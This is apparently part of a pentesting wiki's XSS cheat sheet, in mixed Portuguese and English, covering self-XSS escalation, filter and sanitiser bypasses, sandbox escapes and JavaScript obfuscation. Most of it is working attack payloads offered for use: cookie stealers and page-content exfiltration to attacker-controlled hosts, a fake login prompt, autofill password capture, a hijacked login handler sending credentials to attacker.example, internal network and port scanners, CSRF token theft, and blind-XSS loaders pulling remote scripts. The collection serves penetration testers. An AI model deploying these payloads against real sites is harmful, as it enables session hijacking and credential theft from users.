Upgrading Self-XSS
Cookie XSS
If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
You can find a great abuse of this technique in this blog post.
Sending your session to the admin
Talvez um usuário possa compartilhar seu perfil com o admin e, se o self XSS estiver dentro do perfil do usuário e o admin acessá‑lo, ele acionará a vulnerabilidade.
Session Mirroring
Se você encontrar algum self XSS e a página web tiver um session mirroring for administrators, por exemplo permitindo que clientes peçam ajuda e para que o admin os auxilie ele verá o que você está vendo na sua sessão, mas a partir da sessão dele.
Você poderia fazer com que o administrator trigger your self XSS e roubar os cookies/sessão dele.
Other Bypasses
Bypassing sanitization via WASM linear-memory template overwrite
When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
You could check is the reflected values are being unicode normalized in the server (or in the client side) and abuse this functionality to bypass protections. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Devido ao RoR mass assignment aspas são inseridas no HTML e então a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.
Exemplo de formulário (from this report), se você enviar o payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
O par "Key","Value" será retornado assim:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Então, o atributo onfocus será inserido e ocorre XSS.
Combinações especiais
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS com header injection em uma resposta 302
Se você encontrar que pode inject headers in a 302 Redirect response você pode tentar make the browser execute arbitrary JavaScript. Isto é not trivial pois navegadores modernos não interpretam o HTTP response body se o HTTP response status code for 302, então apenas um cross-site scripting payload é inútil.
Em this report e this one você pode ler como testar vários protocolos dentro do Location header e ver se algum deles permite que o browser inspecione e execute o XSS payload dentro do body.\
Apenas Letras, Números e Pontos
Se você for capaz de indicar o callback que javascript vai execute limitado a esses chars. Read this section of this post para descobrir como abusar desse comportamento.
Valid <script> Content-Types to XSS
(From here) If you try to load a script with a content-type such as application/octet-stream, Chrome will throw following error:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Tipos de Script para XSS
(De here) Então, quais tipos poderiam ser indicados para carregar um script?
<script type="???"></script>
A resposta é:
- module (padrão, nada a explicar)
 - webbundle: Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS…) juntos em um arquivo 
.wbn. 
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Permite melhorar a sintaxe de importação
 
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Esse comportamento foi usado em this writeup para remapear uma biblioteca para eval; o abuso disso pode disparar XSS.
- speculationrules: Esse recurso existe principalmente para resolver alguns problemas causados pela pré-renderização. Funciona assim:
 
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types para XSS
(De here) Os seguintes Content-Types podem executar XSS em todos os navegadores:
- text/html
 - application/xhtml+xml
 - application/xml
 - text/xml
 - image/svg+xml
 - text/plain (?? não está na lista mas acho que vi isso em um CTF)
 - application/rss+xml (off)
 - application/atom+xml (off)
 
Em outros navegadores, outros Content-Types podem ser usados para executar JS arbitrário, veja: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
Se a página estiver retornando um text/xml content-type é possível indicar um namespace e executar JS arbitrário:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Padrões Especiais de Substituição
Quando algo como "some {{template}} data".replace("{{template}}", <user_input>) é usado. O atacante poderia usar special string replacements para tentar contornar algumas proteções: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Por exemplo em this writeup, isso foi usado para escapar uma string JSON dentro de um script e executar arbitrary code.
Chrome Cache para XSS
XS Jails Escape
Se você tem apenas um conjunto limitado de caracteres para usar, verifique estas outras soluções válidas para problemas de XSJail:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Se tudo estiver undefined antes de executar código não confiável (como em this writeup) é possível gerar objetos úteis "do nada" para abusar da execução de código arbitrário não confiável:
- Usando import()
 
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Acessando 
requireindiretamente 
According to this módulos são encapsulados pelo Node.js dentro de uma função, assim:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Portanto, se a partir desse módulo pudermos chamar outra função, é possível usar arguments.callee.caller.arguments[1] dessa função para acessar require:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
De forma semelhante ao exemplo anterior, é possível usar error handlers para acessar o wrapper do módulo e obter a função require:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Different obfuscations in one page: https://aem1k.com/aurebesh.js/
 - https://github.com/aemkei/katakana.js
 - https://javascriptobfuscator.herokuapp.com/
 - https://skalman.github.io/UglifyJS-online/
 - http://www.jsfuck.com/
 - JSFuck mais sofisticado: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
 - http://utf-8.jp/public/jjencode.html
 - https://utf-8.jp/public/aaencode.html
 - https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
 
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
Payloads comuns de XSS
Vários payloads em 1
Iframe Trap
Faz o usuário navegar na página sem sair do iframe e captura suas ações (incluindo informações enviadas em formulários):
Recuperar Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
tip
Você não poderá acessar os cookies a partir do JavaScript se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem algumas maneiras de contornar essa proteção se tiver sorte.
Roubar Conteúdo da Página
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Encontrar IPs internos
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Scanner de Portas (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Tempos curtos indicam um port respondendo Tempos mais longos indicam sem resposta.
Consulte a lista de ports bloqueados no Chrome here e no Firefox here.
Caixa para solicitar credenciais
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Captura de senhas de preenchimento automático
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Quando qualquer dado é inserido no campo de password, o username e a password são enviados para o servidor do atacante; mesmo que o cliente selecione uma password salva e não escreva nada, as credenciais serão ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Se um handler crítico (e.g., function DoLogin(){...}) for declarado mais tarde na página, e seu payload rodar antes (e.g., via an inline JS-in-JS sink), defina um const com o mesmo nome primeiro para antecipar e bloquear o handler. Declarações de função posteriores não podem reatribuir um nome const, deixando seu hook no controle:
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Notas
- Isto depende da ordem de execução: sua injeção deve executar antes da declaração legítima.
 - Se seu payload estiver encapsulado em 
eval(...), bindingsconst/letnão se tornarão globais. Use a injeção dinâmica<script>da seção “Deliverable payloads with eval(atob()) and scope nuances” para garantir um binding global verdadeiro e não-reatribuível. - Quando filtros de palavras-chave bloquearem código, combine com Unicode-escaped identifiers ou entrega via 
eval(atob('...')), como mostrado acima. 
Keylogger
Ao pesquisar no github encontrei alguns diferentes:
- https://github.com/JohnHoder/Javascript-Keylogger
 - https://github.com/rajeshmajumdar/keylogger
 - https://github.com/hakanonymos/JavascriptKeylogger
 - Você também pode usar metasploit 
http_javascript_keylogger 
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Roubando mensagens do PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Abusando de Service Workers
Acessando Shadow DOM
Polyglots
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
Blind XSS payloads
Você também pode usar: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
